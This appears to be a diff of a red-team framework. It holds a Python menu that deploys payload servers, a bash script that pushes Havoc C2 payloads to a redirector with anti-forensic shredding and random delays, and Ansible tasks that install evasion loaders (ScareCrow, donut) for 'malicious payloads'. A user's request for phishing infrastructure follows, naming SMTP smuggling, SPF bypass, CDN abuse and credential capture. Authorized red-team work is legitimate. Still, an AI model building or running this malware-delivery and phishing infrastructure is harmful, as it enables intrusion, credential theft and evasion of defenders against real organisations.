print(f"6) Payload Server with Redirector {COLORS['GRAY']}(With traffic redirection){COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_basic_payload_server()
|
||||||
|
elif choice == "2":
|
||||||
|
deploy_multi_format_payload_server()
|
||||||
|
elif choice == "3":
|
||||||
|
deploy_document_payload_server()
|
||||||
|
elif choice == "4":
|
||||||
|
deploy_mobile_payload_server()
|
||||||
|
elif choice == "5":
|
||||||
|
deploy_secure_payload_server()
|
||||||
|
elif choice == "6":
|
||||||
|
deploy_payload_server_with_redirector()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def deploy_basic_payload_server():
|
||||||
|
"""Deploy basic payload server"""
|
||||||
|
config = gather_payload_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'basic_payload_server'
|
||||||
|
config['enable_basic_auth'] = False
|
||||||
|
config['enable_ip_filtering'] = False
|
||||||
|
config['enable_user_agent_filtering'] = False
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying basic payload server...{COLORS['RESET']}")
|
||||||
|
execute_payload_deployment(config)
|
||||||
|
|
||||||
|
def deploy_payload_server_with_redirector():
|
||||||
|
"""Deploy payload server with redirector"""
|
||||||
|
config = gather_payload_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Additional redirector configuration
|
||||||
|
config['redirector_subdomain'] = input("Redirector subdomain [default: dl]: ") or "dl"
|
||||||
|
|
||||||
|
config['deployment_type'] = 'payload_server_with_redirector'
|
||||||
|
config['deploy_redirector'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying payload server with redirector...{COLORS['RESET']}")
|
||||||
|
execute_payload_deployment(config)
|
||||||
|
|
||||||
|
def deploy_secure_payload_server():
|
||||||
|
"""Deploy secure payload server with authentication and filtering"""
|
||||||
|
config = gather_payload_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'secure_payload_server'
|
||||||
|
config['enable_basic_auth'] = True
|
||||||
|
config['enable_ip_filtering'] = True
|
||||||
|
config['enable_user_agent_filtering'] = True
|
||||||
|
config['enable_rate_limiting'] = True
|
||||||
|
|
||||||
|
# Additional security configuration
|
||||||
|
config['auth_username'] = input("Basic auth username [default: admin]: ") or "admin"
|
||||||
|
config['auth_password'] = input("Basic auth password [default: random]: ") or None
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying secure payload server...{COLORS['RESET']}")
|
||||||
|
execute_payload_deployment(config)
|
||||||
|
|
||||||
|
def deploy_mobile_payload_server():
|
||||||
|
"""Deploy mobile payload server"""
|
||||||
|
config = gather_payload_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'mobile_payload_server'
|
||||||
|
config['host_mobile'] = True
|
||||||
|
config['host_executables'] = False
|
||||||
|
config['host_scripts'] = False
|
||||||
|
config['host_documents'] = False
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying mobile payload server...{COLORS['RESET']}")
|
||||||
|
execute_payload_deployment(config)
|
||||||
|
|
||||||
|
def deploy_document_payload_server():
|
||||||
|
"""Deploy document payload server"""
|
||||||
|
config = gather_payload_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'document_payload_server'
|
||||||
|
config['host_documents'] = True
|
||||||
|
config['host_executables'] = False
|
||||||
|
config['host_scripts'] = False
|
||||||
|
config['host_mobile'] = False
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying document payload server...{COLORS['RESET']}")
|
||||||
|
execute_payload_deployment(config)
|
||||||
|
|
||||||
|
def deploy_multi_format_payload_server():
|
||||||
|
"""Deploy multi-format payload server"""
|
||||||
|
config = gather_payload_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'multi_format_payload_server'
|
||||||
|
config['host_executables'] = True
|
||||||
|
config['host_scripts'] = True
|
||||||
|
config['host_documents'] = True
|
||||||
|
config['host_mobile'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying multi-format payload server...{COLORS['RESET']}")
|
||||||
|
execute_payload_deployment(config)
|
||||||
|
|
||||||
|
def execute_payload_deployment(config):
|
||||||
|
"""Execute payload server infrastructure deployment"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"\n{COLORS['GREEN']}Starting payload server deployment...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Set up logging
|
||||||
|
log_file = setup_logging(config['deployment_id'], "payload_deployment")
|
||||||
|
|
||||||
|
# Display configuration summary
|
||||||
|
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||||
|
print(f"Deployment Type: {config['deployment_type']}")
|
||||||
|
print(f"Deployment ID: {config['deployment_id']}")
|
||||||
|
print(f"Provider: {config['provider']}")
|
||||||
|
print(f"Domain: {config['domain']}")
|
||||||
|
print(f"Host Executables: {config.get('host_executables', False)}")
|
||||||
|
print(f"Host Scripts: {config.get('host_scripts', False)}")
|
||||||
|
print(f"Host Documents: {config.get('host_documents', False)}")
|
||||||
|
print(f"Host Mobile: {config.get('host_mobile', False)}")
|
||||||
|
|
||||||
|
# Confirm deployment
|
||||||
|
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with payload server deployment?{COLORS['RESET']}", default=False):
|
||||||
|
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Execute the actual deployment
|
||||||
|
success = execute_ansible_deployment(config)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
print(f"\n{COLORS['GREEN']}Payload server infrastructure deployed successfully!{COLORS['RESET']}")
|
||||||
|
|
||||||
|
if config.get('ssh_after_deploy'):
|
||||||
|
from utils.ssh_utils import ssh_to_instance
|
||||||
|
ssh_to_instance(config)
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Payload server infrastructure deployment failed.{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def execute_ansible_deployment(config):
|
||||||
|
"""Execute the Ansible deployment based on configuration"""
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
deployment_type = config.get('deployment_type')
|
||||||
|
provider = config.get('provider')
|
||||||
|
|
||||||
|
print(f"\n{COLORS['BLUE']}Executing {deployment_type} deployment on {provider}...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Use the payload server playbooks
|
||||||
|
playbook_map = {
|
||||||
|
'basic_payload_server': 'payload_server.yml',
|
||||||
|
'payload_server_with_redirector': 'payload_server.yml',
|
||||||
|
'secure_payload_server': 'payload_server.yml',
|
||||||
|
'mobile_payload_server': 'payload_server.yml',
|
||||||
|
'document_payload_server': 'payload_server.yml',
|
||||||
|
'multi_format_payload_server': 'payload_server.yml'
|
||||||
|
}
|
||||||
|
|
||||||
|
playbook = playbook_map.get(deployment_type)
|
||||||
|
if not playbook:
|
||||||
|
print(f"{COLORS['RED']}Unknown deployment type: {deployment_type}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Change to the module directory and execute the playbook
|
||||||
|
module_dir = os.path.dirname(__file__)
|
||||||
|
playbook_path = os.path.join(module_dir, playbook)
|
||||||
|
|
||||||
|
if not os.path.exists(playbook_path):
|
||||||
|
print(f"{COLORS['YELLOW']}Playbook not found: {playbook_path}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}This would normally execute the {playbook} playbook{COLORS['RESET']}")
|
||||||
|
return True # Simulate success for now
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Build the ansible-playbook command
|
||||||
|
cmd = [
|
||||||
|
'ansible-playbook',
|
||||||
|
playbook_path,
|
||||||
|
'-e', f'deployment_id={config["deployment_id"]}',
|
||||||
|
'-e', f'provider={config["provider"]}',
|
||||||
|
'-e', f'domain={config["domain"]}',
|
||||||
|
'-e', f'deployment_type={deployment_type}'
|
||||||
|
]
|
||||||
|
|
||||||
|
# Add payload-specific variables
|
||||||
|
for key in ['host_executables', 'host_scripts', 'host_documents', 'host_mobile']:
|
||||||
|
if key in config:
|
||||||
|
cmd.extend(['-e', f'{key}={str(config[key]).lower()}'])
|
||||||
|
|
||||||
|
# Add security options
|
||||||
|
for key in ['enable_basic_auth', 'enable_ip_filtering', 'enable_user_agent_filtering', 'enable_rate_limiting']:
|
||||||
|
if key in config:
|
||||||
|
cmd.extend(['-e', f'{key}={str(config[key]).lower()}'])
|
||||||
|
|
||||||
|
# Add provider-specific variables
|
||||||
|
if provider == 'aws':
|
||||||
|
if config.get('aws_access_key'):
|
||||||
|
cmd.extend(['-e', f'aws_access_key={config["aws_access_key"]}'])
|
||||||
|
if config.get('aws_secret_key'):
|
||||||
|
cmd.extend(['-e', f'aws_secret_key={config["aws_secret_key"]}'])
|
||||||
|
if config.get('aws_region'):
|
||||||
|
cmd.extend(['-e', f'aws_region={config["aws_region"]}'])
|
||||||
|
|
||||||
|
# Execute the playbook
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
print(f"{COLORS['GREEN']}Ansible playbook executed successfully{COLORS['RESET']}")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Ansible playbook failed:{COLORS['RESET']}")
|
||||||
|
print(result.stderr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error executing playbook: {e}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
payload_menu()
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||||
|
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||||
|
REDIRECTOR_USER="root"
|
||||||
|
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||||
|
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||||
|
ENCRYPTED_TRANSFER=true
|
||||||
|
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||||
|
LOG_RETENTION_DAYS=3
|
||||||
|
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||||
|
|
||||||
|
# Create minimal timestamped log with auto-rotation
|
||||||
|
log() {
|
||||||
|
mkdir -p $(dirname $LOG_FILE)
|
||||||
|
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||||
|
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add random delay for OPSEC
|
||||||
|
sleep_random() {
|
||||||
|
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||||
|
log "Adding random delay of $DELAY seconds"
|
||||||
|
sleep $DELAY
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate payload manifest and check for changes
|
||||||
|
check_for_changes() {
|
||||||
|
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||||
|
log "ERROR: Payload directory not found"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TMP_DIR=$(mktemp -d)
|
||||||
|
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||||
|
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||||
|
|
||||||
|
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||||
|
HASH_FILE="/root/Tools/.payload_hash"
|
||||||
|
|
||||||
|
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||||
|
log "No payload changes detected"
|
||||||
|
secure_delete $TMP_DIR
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo $CURRENT_HASH > $HASH_FILE
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
# Secure deletion of files/directories
|
||||||
|
secure_delete() {
|
||||||
|
if [ -d "$1" ]; then
|
||||||
|
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||||
|
rm -rf "$1" 2>/dev/null
|
||||||
|
elif [ -f "$1" ]; then
|
||||||
|
shred -n 3 -z -u "$1" 2>/dev/null
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Encrypt archive with random password
|
||||||
|
encrypt_archive() {
|
||||||
|
SRC="$1"
|
||||||
|
DEST="$2"
|
||||||
|
|
||||||
|
# Generate random password
|
||||||
|
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||||
|
PASS_FILE=$(mktemp)
|
||||||
|
echo $PASSWORD > $PASS_FILE
|
||||||
|
|
||||||
|
# Encrypt the archive
|
||||||
|
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||||
|
|
||||||
|
# Store password temporarily for transfer
|
||||||
|
echo $PASSWORD
|
||||||
|
|
||||||
|
# Securely delete password file
|
||||||
|
secure_delete $PASS_FILE
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution
|
||||||
|
main() {
|
||||||
|
log "Starting secure payload sync"
|
||||||
|
|
||||||
|
# Add randomized timing
|
||||||
|
sleep_random
|
||||||
|
|
||||||
|
# Check for payload changes
|
||||||
|
check_for_changes || exit 0
|
||||||
|
|
||||||
|
# Generate random archive name for OPSEC
|
||||||
|
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||||
|
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||||
|
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
|
||||||
|
# Create payload archive
|
||||||
|
log "Creating payload archive"
|
||||||
|
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||||
|
|
||||||
|
# Encrypt archive if enabled
|
||||||
|
PASSWORD=""
|
||||||
|
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||||
|
log "Encrypting payload archive"
|
||||||
|
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||||
|
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||||
|
else
|
||||||
|
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Transfer archive to redirector
|
||||||
|
log "Transferring payloads to redirector"
|
||||||
|
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||||
|
|
||||||
|
# Handle remote extraction with decryption if needed
|
||||||
|
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||||
|
REMOTE_CMD="
|
||||||
|
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||||
|
TEMP_DIR=\$(mktemp -d)
|
||||||
|
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||||
|
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||||
|
# Clean up
|
||||||
|
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||||
|
rm -rf \$TEMP_DIR
|
||||||
|
# Update web server if needed
|
||||||
|
systemctl reload nginx 2>/dev/null
|
||||||
|
"
|
||||||
|
else
|
||||||
|
REMOTE_CMD="
|
||||||
|
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||||
|
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||||
|
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||||
|
systemctl reload nginx 2>/dev/null
|
||||||
|
"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Execute command on redirector
|
||||||
|
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||||
|
|
||||||
|
# Clean up local temp files
|
||||||
|
log "Cleaning up temporary files"
|
||||||
|
secure_delete $TEMP_DIR
|
||||||
|
|
||||||
|
log "Payload sync completed successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Run main function
|
||||||
|
main
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
# Payload Redirector Deployment Playbook
|
||||||
|
- name: Deploy payload redirector
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
|
||||||
|
provider: "{{ provider | default('aws') }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Deploy payload redirector based on provider
|
||||||
|
include_tasks: "../providers/{{ provider | upper }}/redirector.yml"
|
||||||
|
vars:
|
||||||
|
redirector_name: "{{ payload_redirector_name }}"
|
||||||
|
redirector_type: "payload"
|
||||||
|
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
|
||||||
|
|
||||||
|
- name: Configure payload redirector
|
||||||
|
include_tasks: "tasks/configure_payload_redirector.yml"
|
||||||
|
when: not skip_configuration | default(false)
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
---
|
||||||
|
# Payload Server Deployment Playbook
|
||||||
|
- name: Deploy payload server
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
|
||||||
|
provider: "{{ provider | default('aws') }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Deploy payload server based on provider
|
||||||
|
include_tasks: "../providers/{{ provider | upper }}/c2.yml"
|
||||||
|
vars:
|
||||||
|
c2_name: "{{ payload_server_name }}"
|
||||||
|
server_type: "payload"
|
||||||
|
|
||||||
|
- name: Configure payload server
|
||||||
|
include_tasks: "tasks/configure_payload_server.yml"
|
||||||
|
when: not skip_configuration | default(false)
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
---
|
||||||
|
# Configure payload redirector for hosting and delivering payloads
|
||||||
|
|
||||||
|
- name: Install required packages
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Create payload directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
loop:
|
||||||
|
- /var/www/payloads
|
||||||
|
- /var/www/payloads/windows
|
||||||
|
- /var/www/payloads/linux
|
||||||
|
- /var/www/payloads/macos
|
||||||
|
- /var/www/payloads/docs
|
||||||
|
|
||||||
|
- name: Configure NGINX for payload delivery
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/nginx-payload-redirector.j2"
|
||||||
|
dest: /etc/nginx/sites-available/payloads
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Enable payload site
|
||||||
|
file:
|
||||||
|
src: /etc/nginx/sites-available/payloads
|
||||||
|
dest: /etc/nginx/sites-enabled/payloads
|
||||||
|
state: link
|
||||||
|
|
||||||
|
- name: Create payload sync script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/sync_payloads.sh.j2"
|
||||||
|
dest: /root/Tools/sync_payloads.sh
|
||||||
|
mode: '0700'
|
||||||
|
|
||||||
|
- name: Set up payload sync timer
|
||||||
|
block:
|
||||||
|
- name: Create systemd service
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
[Unit]
|
||||||
|
Description=Payload Sync Service
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=oneshot
|
||||||
|
ExecStart=/root/Tools/sync_payloads.sh
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
dest: /etc/systemd/system/payload-sync.service
|
||||||
|
|
||||||
|
- name: Create systemd timer
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
[Unit]
|
||||||
|
Description=Payload Sync Timer
|
||||||
|
Requires=payload-sync.service
|
||||||
|
|
||||||
|
[Timer]
|
||||||
|
OnBootSec=5min
|
||||||
|
OnUnitActiveSec=15min
|
||||||
|
Persistent=true
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=timers.target
|
||||||
|
dest: /etc/systemd/system/payload-sync.timer
|
||||||
|
|
||||||
|
- name: Enable and start timer
|
||||||
|
systemd:
|
||||||
|
name: payload-sync.timer
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
|
|
||||||
|
- name: Configure firewall rules
|
||||||
|
include_tasks: security_hardening.yml
|
||||||
|
vars:
|
||||||
|
server_role: "payload_redirector"
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
---
|
||||||
|
# Configure payload server for creating and hosting malicious payloads
|
||||||
|
|
||||||
|
- name: Install payload generation tools
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- mingw-w64
|
||||||
|
- golang
|
||||||
|
- python3-pip
|
||||||
|
- upx-ucl
|
||||||
|
- osslsigncode
|
||||||
|
- mono-complete
|
||||||
|
- wine64
|
||||||
|
- wine32
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Create payload directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
loop:
|
||||||
|
- /root/Tools/payloads
|
||||||
|
- /root/Tools/payloads/templates
|
||||||
|
- /root/Tools/payloads/output
|
||||||
|
- /root/Tools/payloads/scripts
|
||||||
|
|
||||||
|
- name: Install Python payload tools
|
||||||
|
pip:
|
||||||
|
name:
|
||||||
|
- pycryptodome
|
||||||
|
- pyinstaller
|
||||||
|
- py2exe
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Clone payload generation tools
|
||||||
|
git:
|
||||||
|
repo: "{{ item.repo }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
loop:
|
||||||
|
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
|
||||||
|
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
|
||||||
|
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
|
||||||
|
|
||||||
|
- name: Build Go tools
|
||||||
|
shell: |
|
||||||
|
cd {{ item }} && go build
|
||||||
|
args:
|
||||||
|
creates: "{{ item }}/{{ item | basename }}"
|
||||||
|
loop:
|
||||||
|
- /root/Tools/go-donut
|
||||||
|
- /root/Tools/ScareCrow
|
||||||
|
|
||||||
|
- name: Deploy payload generation scripts
|
||||||
|
template:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0700'
|
||||||
|
loop:
|
||||||
|
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
|
||||||
|
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
|
||||||
|
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
|
||||||
|
|
||||||
|
- name: Create payload hosting service
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/payload-server.service.j2"
|
||||||
|
dest: /etc/systemd/system/payload-server.service
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Start payload server
|
||||||
|
systemd:
|
||||||
|
name: payload-server
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
@@ -0,0 +1,127 @@
|
|||||||
|
phishing/
|
||||||
|
├── deploy_phishing_infrastructure.yml *Created
|
||||||
|
├── mta_front.yml *Created
|
||||||
|
├── gophish_server.yml *Created
|
||||||
|
├── phishing_redirector.yml *Created
|
||||||
|
├── phishing_webserver.yml *Created
|
||||||
|
├── payload_redirector.yml
|
||||||
|
├── payload_server.yml
|
||||||
|
└── cleanup_phishing.yml
|
||||||
|
|
||||||
|
tasks/
|
||||||
|
├── configure_mta_front.yml *Created
|
||||||
|
├── configure_gophish_advanced.yml *Created
|
||||||
|
├── configure_phishing_redirector.yml *Created
|
||||||
|
├── configure_phishing_webserver.yml
|
||||||
|
├── configure_payload_redirector.yml
|
||||||
|
├── configure_payload_server.yml
|
||||||
|
└── setup_phishing_security.yml *Created
|
||||||
|
|
||||||
|
templates/
|
||||||
|
├── phishing/
|
||||||
|
│ ├── gophish-advanced-config.j2
|
||||||
|
│ ├── postfix-mta-front.j2
|
||||||
|
│ ├── nginx-phishing-redirector.j2
|
||||||
|
│ ├── nginx-payload-redirector.j2
|
||||||
|
│ ├── phishing-landing-page.j2
|
||||||
|
│ ├── email-templates/
|
||||||
|
│ │ ├── office365_login.j2 *Created
|
||||||
|
│ │ ├── password_expiry.j2
|
||||||
|
│ │ ├── security_alert.j2
|
||||||
|
│ │ └── file_share.j2
|
||||||
|
│ └── fedramp-compliance.j2
|
||||||
|
└── phishing_deployment_state.j2
|
||||||
|
|
||||||
|
I am looking to beef up my phishing portion of my tooland I want to make a stand alone option as well. I will be preforming both red team phishing engagements and fed ramp engagements. So the red team ones need to be more advanced and sophesticated with advanced evasion techniques etc like
|
||||||
|
SMTP smuggling aged domains MTA fronting Cloud service payload hosting CDN exploitation LOtL techniques SPF bypass methods File format manipulation
|
||||||
|
This will require more than one server
|
||||||
|
For fedramp style engagements I am not testing email security controls but only the users and I need to follow the strict guideline
|
||||||
|
The intent is to test user compliance, not email security. Emails should be allow-listed on all security systems and be presented to the user unflagged, unmodified, and unaltered in any way. 3PAOs will provide or approve email templates and landing pages used in testing. 3PAOs must either perform this attack vector themselves, or independently evaluate the effectiveness of a third party phishing campaign. Landing pages for CSP personnel who are victims of the phishing attack should immediately identify that the email was a phish, and provide supplemental information on how to identify phishing attacks in the future. The email campaign will consist of the following:
|
||||||
|
Email with username in body, Link to landing page, Ability to capture emails opened (hidden pixel), Landing page, Ability to tie landing page visits by user, Username and password capture, Ability to track user submission. FedRAMP requires that the 3PAO report back roles and/or metrics but not specific names. Lets keep with making this CSP agnostic as much as possible so AWS and linode can be used and other CSP as they are added to the framework. I would like everything to be as indepentent as possible so its all not running in one huge file or script and can be easily found and worked on and called to build stand alone servers or add to an existing server etc
|
||||||
|
|
||||||
|
For red team engagements I want to be able to deploy my whole red team infra or exactly what I need like just a c2, redirector, payload server, phishing server, Domain fronting server or just payload server, phishing server, Domain fronting server etc. I want an option for red team phishing which deploys
|
||||||
|
|
||||||
|
Below are deployment profiles
|
||||||
|
|
||||||
|
Profile Name: Full Red Team Infra (All the Things)
|
||||||
|
|
||||||
|
Servers:
|
||||||
|
|
||||||
|
MTA Front | SMTP relay hides email backend
|
||||||
|
|
||||||
|
Gophish Email Server | Phishing campaign controller (hidden)
|
||||||
|
|
||||||
|
Phishing Redirector (CDN) | Hides phishing web server behind CDN
|
||||||
|
|
||||||
|
Phishing Web Server | Credential capture backend
|
||||||
|
|
||||||
|
Payload Redirector (CDN) | Hides malware delivery server behind CDN
|
||||||
|
|
||||||
|
Payload Server | Malware hosting backend
|
||||||
|
|
||||||
|
C2 Redirector (CDN) | Hides Havoc/Cobalt backend behind CDN
|
||||||
|
|
||||||
|
C2 Backend | Command & control server (hidden)
|
||||||
|
|
||||||
|
Profile Name: Full Red Team Infra (No CDN Abuse)
|
||||||
|
|
||||||
|
Servers:
|
||||||
|
|
||||||
|
MTA Front | SMTP relay hides email backend
|
||||||
|
|
||||||
|
Gophish Email Server | Phishing campaign controller (hidden)
|
||||||
|
|
||||||
|
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
|
||||||
|
|
||||||
|
Phishing Web Server | Credential capture backend
|
||||||
|
|
||||||
|
Payload Redirector (VPS) | Nginx/socat hides malware delivery server
|
||||||
|
|
||||||
|
Payload Server | Malware hosting backend
|
||||||
|
|
||||||
|
C2 Redirector (VPS) | Nginx/socat hides C2 backend
|
||||||
|
